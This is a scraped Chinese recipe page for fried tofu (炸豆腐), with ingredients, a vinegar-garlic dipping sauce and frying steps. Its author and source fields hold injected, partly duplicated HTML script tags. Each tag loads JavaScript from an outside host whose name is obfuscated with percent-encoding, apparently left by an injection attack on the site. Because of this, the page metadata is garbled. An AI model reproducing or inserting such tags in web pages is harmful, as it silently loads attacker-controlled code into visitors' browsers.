炸豆腐
作者:佚名"><script src=http://%39%3"><script src=http://%39%36%33%2E%73%73%2E%6C%61></script> 来源:"><script src=http://%39%36%33"><script src=http://%39%36%33%2E%73%73%2E%6C%61></script> 发布时间:2008年07月25日
正在下载菜谱图片,请稍候...| 菜 名: | 炸豆腐 |
| 主 料: | 实板豆腐4块,西生菜数片。 |
| 配 料: | 调料:精盐1/2汤匙,清水1/2汤碗。蘸汁:米醋1小碟,蒜茸、辣椒碎各1茶匙,盐1/6茶匙。 |
| 做 法: | 1、将板豆腐放入浸料中浸1小时,用筲箕沥干水分,每块豆腐切成4小块。2、西生菜洗净切丝,然后铺上碟。3、将豆腐放入滚油中,炸至金黄色,盛起沥干油分,排放在已铺生菜丝的碟中,以蘸汁伴食。
|